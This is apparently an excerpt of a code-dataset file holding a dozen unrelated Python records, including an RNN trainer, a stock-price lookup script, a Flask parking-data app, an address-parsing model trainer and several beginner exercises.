intra_op_parallelism_threads=threads))\n\n def load(self, path):\n # Load the metagraph\n with self.session.graph.as_default():\n self.saver = tf.train.import_meta_graph(path + '.meta')\n\n # Attach the end points\n self.tokens_ids = tf.get_collection(\n 'end_points/tokens_ids')[0]\n self.terms_lens = tf.get_collection(\n 'end_points/terms_lens')[0]\n self.predictions = tf.get_collection(\n 'end_points/predictions')[0]\n\n # Load the graph weights\n self.saver.restore(self.session, path)\n\n def predict(self, dataset_name, dataset):\n tokens_ids, terms_lens, = dataset.test()\n return self.session.run(self.predictions,\n {self.terms_lens: terms_lens,\n self.tokens_ids: tokens_ids})\n\nif __name__ == \"__main__\":\n import argparse\n import datetime\n import os\n import re\n\n # Fix random seed\n np.random.seed(541)\n\n # Parse arguments\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--vocab\",\n type=str,\n help=\"Path to a vocabulary file.\")\n parser.add_argument(\n \"--train_set\",\n default='data/split/equiv.train',\n type=str,\n help=\"Path to a training set.\")\n parser.add_argument(\n \"--valid_set\",\n default='data/split/equiv.valid',\n type=str,\n help=\"Path to a validation set.\")\n parser.add_argument(\n \"--test_set\",\n default='',\n type=str,\n help=\"Path to a testing set.\")\n parser.add_argument(\n \"--model_path\",\n default='',\n type=str,\n help=\"Path where to save the trained model.\")\n parser.add_argument(\n \"--batch_size\",\n default=8,\n type=int,\n help=\"Batch size.\")\n parser.add_argument(\n \"--epochs\",\n default=8,\n type=int,\n help=\"Number of epochs.\")\n parser.add_argument(\n \"--embed_dim\",\n default=8,\n type=int,\n help=\"Token embedding dimension.\")\n parser.add_argument(\n \"--rnn_cell_dim\",\n default=8,\n type=int,\n help=\"RNN cell dimension.\")\n parser.add_argument(\n \"--num_dense_layers\",\n default=2,\n type=int,\n help=\"Number of dense layers.\")\n parser.add_argument(\n \"--dense_layer_units\",\n default=8,\n type=int,\n help=\"Number of units in each dense layer.\")\n parser.add_argument(\n \"--threads\",\n default=1,\n type=int,\n help=\"Maximum number of threads to use.\")\n parser.add_argument(\n \"--logdir\",\n default='',\n type=str,\n help=\"Logdir.\")\n args = parser.parse_args()\n\n if args.model_path:\n args.logdir = args.model_path\n else:\n if not args.logdir:\n # Create dir for logs\n if not os.path.exists(\"logs\"):\n os.mkdir(\"logs\")\n\n # Create logdir name\n args.logdir = \"logs/{}--{}--{}\".format(\n os.path.basename(__file__),\n datetime.datetime.now().strftime(\"%Y-%m-%d-%H%M%S\"),\n \",\".join(\n (\"{}={}\".format(\n re.sub(\"(.)[^_]*_?\", r\"\\1\", key), value) \\\n for key, value in sorted(vars(args).items()) \\\n if not '/' in str(value) \\\n and not 'threads' in key\n and not 'logdir' in key\n )\n )\n )\n\n print(\"The logdir is: {}\".format(args.logdir))\n\n # Load the data\n train_set = data.Dataset(args.train_set, args.vocab, shuffle_batches=True)\n valid_set = data.Dataset(args.valid_set, args.vocab, shuffle_batches=False)\n\n # Construct the network\n network = Network(threads=args.threads)\n network.construct(args, train_set.num_tokens, train_set.num_labels)\n\n # Train, batches\n print(\"Training started.\")\n for i in range(args.epochs):\n while not train_set.epoch_finished():\n batch = train_set.next_batch(args.batch_size)\n network.train_batch(batch)\n\n # Saving embeddings\n #embeddings = network.embeddings()\n #time = datetime.datetime.now().strftime(\"%H%M%S\")\n #file_name = args.logdir + '/embeddings_' + time + '.csv'\n #embeddings_to_write = '\\n'.join(\n # [','.join([str(round(j, 6)) for j in i]) for i in embeddings])\n #with open(file_name, 'w') as f:\n # f.write(embeddings_to_write + '\\n')\n accuracy = network.evaluate('valid', valid_set, args.batch_size)\n print(\"Accuracy on valid set after epoch {}: {:.2f}\".format(\n i + 1, 100 * accuracy))\n print(\"Training finished.\")\n\n # Save model\n model_path = network.save(args.logdir + '/model')\n print('Saved model path: ', model_path)\n\n if args.test_set:\n network = NetworkPredict()\n network.load(model_path)\n test = data.Dataset(args.test_set, args.vocab, test=True)\n p = network.predict('test', test)\n for i in p[:10]:\n print(i)\n\n\n","sub_path":"models_definitions/r-nn.py","file_name":"r-nn.py","file_ext":"py","file_size_in_byte":12168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"357167496","text":"#! usr/bin/python3\n# coding:utf-8\n\nimport os\n\nfile_dir=\"D:\\Python\\Python-master\\Python-master\"\nfor filename in os.listdir(file_dir):\n split_file =os.path.splitext(filename) #pathon.splitext(filename)返回的是元组,(filename,后缀名)\n print(split_file)\n file_ext=split_file[0]\n print(file_ext)","sub_path":"exercise_github/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"318913946","text":"\"\"\"\n==Task ==\nYou are given the year, and you have to write a function to check if the year is leap or not.\n\n==Input Format==\nRead y, the year that needs to be checked.\n\n==Constraints==\n1900 <= y <= 10^5\n\n==Output Format==\nOutput is taken care of by the template. Your function must return a boolean value (True/False)\n\"\"\"\n\ndef is_leap(year):\n leap = False\n \n if year % 4 == 0:\n if year % 100 == 0:\n if year % 400 == 0:\n leap = True\n else:\n leap = False\n else:\n leap = True\n \n return leap\n\nyear = int(input())\nprint(is_leap(year))","sub_path":"Python_Proficiency/Introduction/write_a_function.py","file_name":"write_a_function.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"126379553","text":"__author__ = 'jiangzhou xu'\nimport operator\nimport collections\ndef bull_and_cow(secret, guess):\n bull = sum(map(operator.eq, secret, guess))\n sa = collections.Counter(secret)\n sb = collections.Counter(guess)\n cow = sum((sa & sb).values()) - bull\n return str(bull) + 'A' + str(cow) + 'B'\n\nsecret = \"abcd\"\nguess = \"dbac\"\ntest = bull_and_cow(secret, guess)\nprint(test)\n","sub_path":"299_bull_and_cow.py","file_name":"299_bull_and_cow.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"399690379","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('falta', '0006_auto_20171109_1853'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='motivo',\n options={'verbose_name_plural': 'Motivos de falta'},\n ),\n ]\n","sub_path":"falta/migrations/0007_auto_20171111_1401.py","file_name":"0007_auto_20171111_1401.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"483274971","text":"class Solution:\n def countConsistentStrings(self, allowed: str, words: List[str]) -> int:\n allowedChars = set([char for char in allowed])\n\n goodWords = 0\n for word in words:\n isWordBad = False\n \n for char in word:\n \n if char not in allowedChars:\n isWordBad = True\n break\n if not isWordBad:\n goodWords += 1\n return goodWords","sub_path":"leetcode/1684.count-the-number-of-consistent-strings/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"363121674","text":"from pandas_datareader import data\nfrom datetime import date, timedelta\nfrom datetime import datetime\nimport datetime\nfrom dateutil.parser import parse\nimport csv\nimport sys\n\ncsv_file_path = \"data/stock_prices.csv\"\n\nprint(\"\\nSTOCK PRICE LOOKUP APPLICATION\")\nprint(\"Welcome! Today's date is: \" + str(datetime.date.today()))\nprint(\"\\nSelect one of the following options by inputting the corresponding number: \")\nprint(\"\\n1 - STOCK PRICE\")\nprint(\"2 - STOCK PERFORMANCE\")\n\noperation = input(\"\\nPlease make a selection: \")\n\nstock_symbols = []\n\ndef price_lookup():\n while True:\n symbol = input(\"\\nPlease select a stock by symbol or 'DONE' if there are no more items: \")\n symbol = symbol.upper()\n if symbol == \"DONE\":\n break\n else:\n stock_symbols.append(symbol)\n if len(stock_symbols) > 0:\n date_start = input(\"Please select an open-market start date in the format yyyy-mm-dd: \")\n end_date = input(\"Please select an open-market end date in the format yyyy-mm-dd: \")\n try:\n date_start = datetime.datetime.strptime(date_start, '%Y-%m-%d')\n end_date = datetime.datetime.strptime(end_date, '%Y-%m-%d')\n except ValueError:\n print(\"\\nIncorrect Date Format!\\n\")\n date_start = input(\"Please select an open-market start date in the format yyyy-mm-dd: \")\n end_date = input(\"Please select an open-market end date in the format yyyy-mm-dd: \")\n try:\n date_start = datetime.datetime.strptime(date_start, '%Y-%m-%d')\n end_date = datetime.datetime.strptime(end_date, '%Y-%m-%d')\n except ValueError:\n print(\"\\nIncorrect Date Format Again! Program Ending. \\n\")\n sys.exit()\n\n# COMPILE REQUEST PARAMS\n data_source = 'google'\n# ISSUE REQUEST\n response = data.DataReader(stock_symbols, data_source, date_start, end_date)\n# PARSE RESPONSE\n daily_closing_prices = response.ix[\"Close\"] # ix() is a pandas DataFrame function\n if daily_closing_prices.empty:\n print(\"\\nThe market was closed that day. Try a different date.\\n \")\n else:\n print(\"\\nHere are the Stock Prices for the days you indicated:\\n\")\n print(daily_closing_prices)\n confirmation = input(\"\\nWould you like to save this data to a file? (Y/N) \")\n confirmation = confirmation.upper()\n if confirmation == \"Y\":\n prices = daily_closing_prices.to_csv(csv_file_path)\n print(\"\\nGreat! The data has been saved to data/stock_prices.csv\\n\")\n else:\n print(\"\\nOK. The data is not saved\\n\")\n else:\n print(\"\\nOperation not selected. Ending program.\\n\")\n\ndef performance():\n symbol =input(\"Please select a stock by symbol: \")\n symbol = symbol.upper()\n stock_symbols.append(symbol)\n\n date_start = input(\"When did you buy the stock? Please select an open-market date and input in the format yyyy-mm-dd: \")\n end_date = input(\"When did you sell the stock? Please select an open-market date and input in the format yyyy-mm-dd: \")\n\n try:\n date_start = datetime.datetime.strptime(date_start, '%Y-%m-%d')\n end_date = datetime.datetime.strptime(end_date, '%Y-%m-%d')\n except ValueError:\n print(\"\\nIncorrect Date Format!\\n\")\n sys.exit()\n # date_start = input(\"Please select a start date in the format yyyy-mm-dd: \")\n # end_date = input(\"Please select an end date in the format yyyy-mm-dd: \")\n # date_start = datetime.datetime.strptime(date_start, '%Y-%m-%d')\n # end_date = datetime.datetime.strptime(end_date, '%Y-%m-%d')\n\n number_of_stocks = input(\"Please input quantity of shares owned: \")\n number_of_stocks = float(number_of_stocks)\n data_source = 'google'\n\n response = data.DataReader(stock_symbols, data_source, date_start, date_start)\n response2 = data.DataReader(stock_symbols, data_source, end_date, end_date)\n\n daily_closing_prices = response.ix[\"Close\"]\n daily_closing_prices2 = response2.ix[\"Close\"]\n if daily_closing_prices.empty or daily_closing_prices2.empty:\n print(\"\\nThe market was closed one or both of those days. Try a different date.\\n \")\n else:\n print(daily_closing_prices)\n print(daily_closing_prices2)\n\n difference = daily_closing_prices2.values-daily_closing_prices.values\n difference = float(difference)\n\n perform = number_of_stocks*difference\n\n if daily_closing_prices2.values > daily_closing_prices.values:\n print(\"\\nYour gain is: \" + str('${0:.2f}'.format(perform)))\n else:\n print(\"\\nYour loss is: \" + str('${0:.2f}'.format(abs(perform))))\n\nif operation == \"1\": price_lookup()\nelif operation == \"2\": performance()\nelse:\n print(\"PLEASE CHOOSE ONE OF THE AVAILABLE OPERATIONS\")\n","sub_path":"app/freestyle.py","file_name":"freestyle.py","file_ext":"py","file_size_in_byte":4863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"496449189","text":"# -*- coding: utf-8 -*-\nfrom flask import Flask, render_template, g, abort, jsonify\nimport sqlite3\nimport json\nimport os\nimport sys\n\n# configuration\nDATABASE = os.path.abspath(os.path.dirname(__file__)) + '/schema.db'\nDEBUG = True\n\napp = Flask(__name__)\napp.config.from_object(__name__)\n\ndef connect_db():\n return sqlite3.connect(app.config['DATABASE'])\n\n@app.before_request\ndef before_request():\n g.db = connect_db()\n\n@app.teardown_request\ndef teardown_request(exception):\n db = getattr(g, 'db', None)\n if db is not None:\n db.close()\n\n@app.route(\"/recommendation/\")\ndef recommendation(id):\n result = g.db.execute('select reccomendation from game where id = ?', (id, ))\n recommendation_json = result.fetchone()\n if recommendation_json is None:\n abort(404)\n\n recommendation = json.loads(recommendation_json[0])\n result = g.db.execute('select id, name, image_url from game where id = ? or id = ? or id = ? or id = ? or id = ?',\n (recommendation[0], recommendation[1], recommendation[2], recommendation[3], recommendation[4]))\n recommendation = result.fetchall()\n return render_template('recommendation.html', recommendation=recommendation)\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"Web/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"196617372","text":"from operator import itemgetter\nfrom itertools import count\nfrom collections import Counter, defaultdict\nimport random\nimport dynet as dy\nimport numpy as np\nimport re\nimport os\nimport pickle\nimport pdb\nimport copy\nimport time\nfrom reader import Reader, Vocab\nfrom tp import TransitionParser, LSTM, BiLSTM_CRF, TransitionParser2, TransitionParser_RBT, BiLSTM_SEMICRF\n\nfrom optparse import OptionParser\nimport random\n#from PYEVALB import scorer\n#from PYEVALB import parser as evalbparser\n#from termcolor import colored\nimport util\n\n\nusage = \"addr.py --train [inputfile] --test\"\n\nparser = OptionParser(usage=usage)\nparser.add_option(\"--data\", type=\"string\", help=\"data\", default=\"data\", dest=\"data\")\nparser.add_option(\"--train\", type=\"string\", help=\"train\", default=\"train.txt\", dest=\"train\")\nparser.add_option(\"--dev\", type=\"string\", help=\"dev\", default=\"dev.txt\", dest=\"dev\")\nparser.add_option(\"--test\", type=\"string\", help=\"test\", default=\"test.txt\", dest=\"test\")\nparser.add_option(\"--outputdir\", type=\"string\", help=\"outputdir\", default=\"output\", dest=\"outputdir\")\nparser.add_option(\"--emb\", type=\"string\", help=\"emb\", default=\"glove\", dest=\"emb\")\nparser.add_option(\"--task\", type=\"string\", help=\"task\", default=\"train\", dest=\"task\")\nparser.add_option(\"--epoch\", type=\"int\", help=\"epoch\", default=50, dest=\"epoch\")\nparser.add_option(\"--trial\", type=\"int\", help=\"trial\", default=0, dest=\"trial\")\nparser.add_option(\"--numtrain\", type=\"int\", help=\"numtrain\", default=-1, dest=\"numtrain\")\nparser.add_option(\"--numtest\", type=\"int\", help=\"numtest\", default=-1, dest=\"numtest\")\nparser.add_option(\"--debug\", type=\"int\", help=\"debug\", default=0, dest=\"debug\")\nparser.add_option(\"--os\", type=\"string\", help=\"os\", default=\"osx\", dest=\"os\")\nparser.add_option(\"--check_every\", type=\"int\", help=\"check_every\", default=1000, dest=\"check_every\")\nparser.add_option(\"--decay_patience\", type=\"int\", help=\"decay_patience\", default=3, dest=\"decay_patience\")\nparser.add_option(\"--lr_patience\", type=\"int\", help=\"lr_patience\", default=2, dest=\"lr_patience\")\nparser.add_option(\"--lr\", type=\"float\", help=\"lr\", default=0.1, dest=\"lr\")\nparser.add_option(\"--optimizer\", type=\"string\", help=\"optimizer\", default=\"sgd\", dest=\"optimizer\")\nparser.add_option(\"--dropout\", type=\"float\", help=\"dropout\", default=0.2, dest=\"dropout\")\nparser.add_option(\"--pretrain\", type=\"string\", help=\"pretrain\", default=\"none\", dest=\"pretrain\")\n\nparser.add_option(\"--WORD_DIM\", type=\"int\", help=\"WORD_DIM\", default=100, dest=\"WORD_DIM\")\nparser.add_option(\"--LSTM_DIM\", type=\"int\", help=\"LSTM_DIM\", default=200, dest=\"LSTM_DIM\")\nparser.add_option(\"--ACTION_DIM\", type=\"int\", help=\"ACTION_DIM\", default=200, dest=\"ACTION_DIM\")\nparser.add_option(\"--NUM_LAYER\", type=\"int\", help=\"NUM_LAYER\", default=2, dest=\"NUM_LAYER\")\n\nparser.add_option(\"--expname\", type=\"string\", help=\"expname\", default=\"default\", dest=\"expname\")\n\nparser.add_option(\"--trainsample\", type=\"int\", help=\"trainsample\", default=-1, dest=\"trainsample\")\nparser.add_option(\"--autolr\", type=\"int\", help=\"autolr\", default=0, dest=\"autolr\")\nparser.add_option(\"--normalize\", type=\"int\", help=\"normalize\", default=1, dest=\"normalize\")\nparser.add_option(\"--model\", type=\"string\", help=\"model\", default=\"TP\", dest=\"model\")\nparser.add_option(\"--lexicon\", type=\"string\", help=\"lexicon\", default=\"lexicon.txt\", dest=\"lexicon\")\nparser.add_option(\"--lexiconepoch\", type=\"int\", help=\"lexiconepoch\", default=0, dest=\"lexiconepoch\")\nparser.add_option(\"--syntactic_composition\", type=\"int\", help=\"syntactic_composition\", default=1, dest=\"syntactic_composition\")\nparser.add_option(\"--singleton\", type=\"int\", help=\"singleton\", default=1, dest=\"singleton\")\nparser.add_option(\"--MAXL\", type=\"int\", help=\"MAXL\", default=7, dest=\"MAXL\")\nparser.add_option(\"--MAXLLIMIT\", type=\"int\", help=\"MAXLLIMIT\", default=12, dest=\"MAXLLIMIT\")\n\n(options, args) = parser.parse_args()\n\nprint('Args:', options)\nemb_path = {'giga': 'giga.vec' + str(options.WORD_DIM)}\n\nif options.trial == 1:\n options.train = \"trial.txt\"\n options.dev = \"trial.txt\"\n options.test = \"trial.txt\"\n\n\nReader.load_lexicon(options.data, options.lexicon)\n\nlabel_list = Vocab.read_vocab_label()\n\nif options.model == 'TP_RBT':\n label_list = label_list + [x + \"'\" for x in label_list]\n\nlabel_opening_list = ['(' + x for x in label_list]\nvocab_label = Vocab.from_list(label_list)\nvocab_char, vocab_char_count = Vocab.read_vocab_char_from_list([os.path.join(options.data, options.train), os.path.join(options.data, options.dev), os.path.join(options.data, options.test), os.path.join(options.data, options.lexicon)]) #os.path.join(options.data, options.train)\n\nvocab_label_opening = Vocab.from_list(label_opening_list)\naction_list = ['APPEND', 'SEPARATE'] + ['LABEL(' + x + ')' for x in label_list]\nif options.model == 'TP2':\n action_list = ['APPEND'] + ['LABEL(' + x + ')' for x in label_list]\nvocab_action = Vocab.from_list(action_list)\nNUM_ACTIONS = vocab_action.size()\n\n\nif options.model == 'LSTM':\n label_list = ['B-' + x.lower() for x in label_list] + ['I-' + x.lower() for x in label_list]\n vocab_label = Vocab.from_list(label_list)\nelif options.model == 'CRF':\n label_list = ['B-' + x.lower() for x in label_list] + ['I-' + x.lower() for x in label_list] + ['', '']\n vocab_label = Vocab.from_list(label_list)\nelif options.model == 'SEMICRF':\n #label_list += ['', '']\n #label_list = ['town', 'community']\n vocab_label = Vocab.from_list(label_list)\n\nprint('label_list:',label_list)\nreader = Reader(vocab_char, vocab_label, vocab_action, options)\n\n\n\n# mylist = ['B-prov', 'I-prov', 'B-city', 'I-city', 'B-district', 'B-road']\n# print('mylist:',mylist)\n# print(colored('vocab_action:', 'red'),vocab_action.w2i[\"LABEL(prov')\"])\n# action_seq = util.get_action_seq_rbt(mylist, vocab_action)\n# action_seq = [vocab_action.i2w[x] for x in action_seq]\n# print('action_seq:',action_seq)\n#\n# print(colored('action2chunk_rbt:', 'red'), util.action2chunk_rbt(action_seq))\n# exit()\n\ntrain = reader.read_file(os.path.join(options.data, options.train), 'train')\ndev = reader.read_file(os.path.join(options.data, options.dev),'eval')\ntest = reader.read_file(os.path.join(options.data, options.test),'eval')\n\nif options.lexiconepoch > 0:\n lexicon = reader.read_file(os.path.join(options.data, options.lexicon),'train')\n\ntrain = train[:options.numtrain]\ndev = dev[:options.numtest]\ntest = test[:options.numtest]\n\nprint('Data Reading completed.')\nprint('len(train):', len(train), ' MAXL:', options.MAXL, end='')\nprint(' len(dev):', len(dev),' len(test):', len(test), end='')\nif options.lexiconepoch > 0:\n print(' len(lexicon):', len(lexicon), end='')\nprint()\n\npretrain_emb = None\nif options.pretrain != 'none':\n pretrain_emb = reader.load_pretrain(os.path.join(options.data, emb_path[options.pretrain]), True)\n\n\nmodel_filename = os.path.join(options.outputdir, 'addr_' + options.expname + '.model')\ndev_output = model_filename.replace('.model', '.dev.out')\ntest_output = model_filename.replace('.model', '.test.out')\n\nprint('The model/output will be saved as ', model_filename, dev_output, test_output)\n\nmodel = dy.ParameterCollection() # dy.Model()\n\nif options.optimizer == 'adam':\n trainer = dy.AdamTrainer(model)\nelse:\n trainer = dy.SimpleSGDTrainer(model) #dy.AdamTrainer(model)\n\ntrainer.set_learning_rate(options.lr)\n\nif options.model == 'TP' :\n parser = TransitionParser(model, options, vocab_char, vocab_char_count, vocab_label, vocab_label_opening, vocab_action, pretrain_emb)\nelif options.model == 'TP2':\n parser = TransitionParser2(model, options, vocab_char, vocab_char_count, vocab_label, vocab_label_opening, vocab_action, pretrain_emb)\nelif options.model == 'TP_RBT':\n parser = TransitionParser_RBT(model, options, vocab_char, vocab_char_count, vocab_label, vocab_label_opening, vocab_action, pretrain_emb)\n\nelif options.model == 'LSTM':\n parser = LSTM(model, options, vocab_char, vocab_char_count, vocab_label, pretrain_emb)\nelif options.model == 'CRF':\n parser = BiLSTM_CRF(model, options, vocab_char, vocab_char_count, vocab_label, pretrain_emb)\nelif options.model == 'SEMICRF':\n options.MAXL = reader.options.MAXL\n print('MAXL is set to ', options.MAXL)\n parser = BiLSTM_SEMICRF(model, options, vocab_char, vocab_char_count, vocab_label, pretrain_emb)\nelse:\n print('Model ' + options.model + ' is not specified.')\n exit()\n\n\ndef train_lexicon(lexicon, max_epoch, sample = 1000):\n i = 0\n for epoch in range(max_epoch):\n words = 0\n total_loss = 0.0\n\n random.shuffle(lexicon)\n\n for inst in lexicon[:sample]:\n i += 1\n\n loss = parser.parse(inst, inst[\"action\"])\n words += len(inst[\"raw_char\"])\n if loss is not None:\n total_loss += loss.scalar_value()\n loss.backward()\n trainer.update()\n e = float(i) / sample\n\n if i % sample == 0:\n print('lexicon epoch {}: per-inst loss: {}'.format(e, total_loss / words), flush=True)\n words = 0\n total_loss = 0.0\n\n\n\n\ndef sampletrain(train, dev, test, sample = 100, shuffle = True):\n early_counter = 0\n decay_counter = 0\n\n best_f1 = 0\n # best_model = copy.deepcopy(model)\n\n i = 0\n print('Training starts...', flush=True)\n\n for epoch in range(options.epoch):\n words = 0\n total_loss = 0.0\n if shuffle:\n random.shuffle(train)\n totrain = train[:sample]\n for inst in totrain:\n i += 1\n\n loss = parser.parse(inst, inst[\"action\"])\n words += len(inst[\"raw_char\"])\n if loss is not None:\n total_loss += loss.scalar_value()\n loss.backward()\n trainer.update()\n e = float(i) / len(totrain)\n\n if i % len(totrain) == 0:\n print('epoch {}: per-inst loss: {}'.format(e, total_loss / words), flush=True)\n words = 0\n total_loss = 0.0\n\n if i >= len(totrain) * 2 and i % options.check_every == 0:\n p, r, f1 = parser.predict(dev, dev_output)\n if best_f1 < f1:\n best_f1 = f1\n # best_model = model\n print('Better F1:', best_f1)\n # best_model = copy.deepcopy(model)\n print('Saving model to ', model_filename, '...')\n model.save(model_filename)\n early_counter = 0\n\n print('On Test:')\n p, r, f1 = parser.predict(test, test_output)\n\n else:\n early_counter += 1\n if early_counter > options.lr_patience:\n decay_counter += 1\n early_counter = 0\n if decay_counter > options.decay_patience:\n break\n else:\n # adjust_learning_rate(trainer)\n cur_lr = trainer.learning_rate\n # adj_lr = cur_lr / 2\n adj_lr = cur_lr * 0.7\n if options.autolr == 1:\n trainer.set_learning_rate(adj_lr)\n print(\"Adjust lr to \", adj_lr)\n\nif options.task == 'train':\n\n if options.lexiconepoch > 0:\n train_lexicon(lexicon, options.lexiconepoch)\n\n sample = len(train) if options.trainsample == -1 else options.trainsample\n sampletrain(train, dev, test, sample, True)\n\nprint('Loading model from ',model_filename, ' ...')\nmodel.populate(model_filename)\nprint('The model is loaded.')\n\nprint('Dev ', end='')\np, r, f1 = parser.predict(dev, dev_output)\n#print('F1:', f1)\nutil.eval_by_script(dev_output)\n\nprint('Test ', end='')\np, r, f1 = parser.predict(test, test_output)\n#print('F1:', f1)\nutil.eval_by_script(test_output)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"155707614","text":"from abc import ABC\n\n\nclass Setting(ABC):\n \"\"\"\n Abstract Base class for settings. It's here to potentially extend the setting functionality in future.\n \"\"\"\n def __init__(self):\n pass\n\n\nclass MetaDictSetting(Setting):\n \"\"\"\n Implements an interface for a default meta_dict with optional mandatory fields\n \"\"\"\n def __init__(self, meta_dict: dict, mandatory_fields: list = []):\n self.meta_dict = meta_dict\n self.mandatory_fields = mandatory_fields\n\n\nDEFAULT_SETTING_INVARIANT_NET = MetaDictSetting(\n meta_dict={\n 'n_dense_s1': 2,\n 'n_dense_s2': 2,\n 'n_dense_s3': 2,\n 'n_equiv': 2,\n 'dense_s1_args': {'activation': 'relu', 'units': 32},\n 'dense_s2_args': {'activation': 'relu', 'units': 64},\n 'dense_s3_args': {'activation': 'relu', 'units': 32}\n },\n mandatory_fields=[]\n)\n\n\nDEFAULT_SETTING_INVERTIBLE_NET = MetaDictSetting(\n meta_dict={\n 'n_coupling_layers': 4,\n 's_args': {\n 'units': [128, 128],\n 'activation': 'elu',\n 'initializer': 'glorot_uniform',\n },\n 't_args': {\n 'units': [128, 128],\n 'activation': 'elu',\n 'initializer': 'glorot_uniform',\n },\n 'alpha': 1.9,\n 'permute': True\n },\n mandatory_fields=[\"n_params\"]\n)","sub_path":"bayesflow/default_settings.py","file_name":"default_settings.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"368018006","text":"import crnt4sbml\n\nnetwork = crnt4sbml.CRNT(\"../sbml_files/double_insulin_binding.xml\")\n\nnetwork.basic_report()\n\nnetwork.print_c_graph()\n\nldt = network.get_low_deficiency_approach()\nldt.report_deficiency_zero_theorem()\nldt.report_deficiency_one_theorem()\n\nopt = network.get_mass_conservation_approach()\n\nprint(\"Decision Vector:\")\nprint(opt.get_decision_vector())\nprint(\"\")\n\nprint(\"Species for concentration bounds:\")\nprint(opt.get_concentration_bounds_species())\n\nbounds = [(1e-8, 1e-4), (1e-5, 1e-3), (1e-8, 1e-4), (1e-5, 1e-3), (1e-8, 1e-4), (1e-5, 1e-3), (1e-3, 1.0), (1e-8, 1e-4),\n (1e-5, 1e-3), (1e-3, 1.0), (1e-3, 1.0), (5e-1, 5e5), (5e-1, 5e5), (5e-1, 5e5)]\nconcentration_bounds = [(5e-1, 5e5)]*5\n\nparams_for_global_min, obj_fun_val_for_params = opt.run_optimization(bounds=bounds,\n concentration_bounds=concentration_bounds,\n iterations=100)\n\nmultistable_param_ind, plot_specifications = opt.run_continuity_analysis(species=\"s5\",\n parameters=params_for_global_min,\n auto_parameters={'DSMAX': 1e3,\n 'PrincipalContinuationParameter': \"C2\",\n 'RL0': 1e2, 'RL1': 1e6,\n 'A0': 0, 'A1': 5e6})\n\nopt.generate_report()\n","sub_path":"example_scripts/run_double_insulin_binding.py","file_name":"run_double_insulin_binding.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"145906603","text":"# import necessary libraries\nimport os\nimport numpy as np\nfrom sqlalchemy.sql import text\nfrom sqlalchemy import bindparam\nfrom flask import (\n Flask,\n render_template,\n jsonify,\n request,\n redirect)\n\n#################################################\n# Flask Setup\n#################################################\napp = Flask(__name__)\n\n#################################################\n# Database Setup\n#################################################\n\nfrom flask_sqlalchemy import SQLAlchemy\napp.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://postgres:Yas.123@localhost:5432/Parking_db'\n# Remove tracking modifications\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\ndb = SQLAlchemy(app)\n\n\n# create route that renders index.html template\n@app.route(\"/\")\ndef home():\n return render_template(\"index.html\")\n\n@app.route(\"/map\")\ndef map():\n return render_template(\"map.html\")\n\n@app.route(\"/visualize\")\ndef plot():\n return render_template(\"visualize.html\") \n\n@app.route(\"/data\")\ndef data():\n return render_template(\"loaddata.html\")\n\n@app.route(\"/filter\")\ndef filter():\n results = db.engine.execute(text(\"\"\"\n SELECT area_name\n FROM \"Area\"\n \"\"\")\n )\n return jsonify([dict(row) for row in results]) \n\n\n@app.route(\"/api/\")\ndef area(area):\n results = db.engine.execute(text(\"\"\"\n SELECT p.bay_id, d.durationminutes\n FROM \"Parking_bay\" as p\n LEFT JOIN \"Parking_duration\" as d\n ON p.bay_id = d.bay_id\n LEFT JOIN \"Area\" as y\n ON p.areaname_id = y.area_id\n where y.area_name = :area\n \"\"\").bindparams(\n area=area.lower()\n ))\n return jsonify([dict(row) for row in results])\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"300360405","text":"\"\"\"Desafio 054: Crie um programa que leia o ano de nascimento de sete pessoas.\nNo final, mostre quantas pessoas ainda não atingiram a maioridade e quantas já são maiores.\"\"\"\nfrom datetime import date\natual = date.today().year\ntotalmaior = 0\ntotalmenor = 0\nfor pess in range(1, 8):\n nasc = int(input('Em que ano a {}ª pessoa nasceu? '.format(pess)))\n idade = atual - nasc\n print('A {}ª pessoa tem {} anos!' .format(pess, idade))\n if idade >= 21:\n totalmaior += 1\n else:\n totalmenor += 1\nprint('Ao todo tivemos {} pessoa(s) maior/maiores de idade!'.format(totalmaior))\nprint('E também tivemos {} pessoa(s) menor/menores de idade!'.format(totalmenor))","sub_path":"Desafio 054.py","file_name":"Desafio 054.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"88579200","text":"\n\nfrom xai.brain.wordbase.nouns._bathrobe import _BATHROBE\n\n#calss 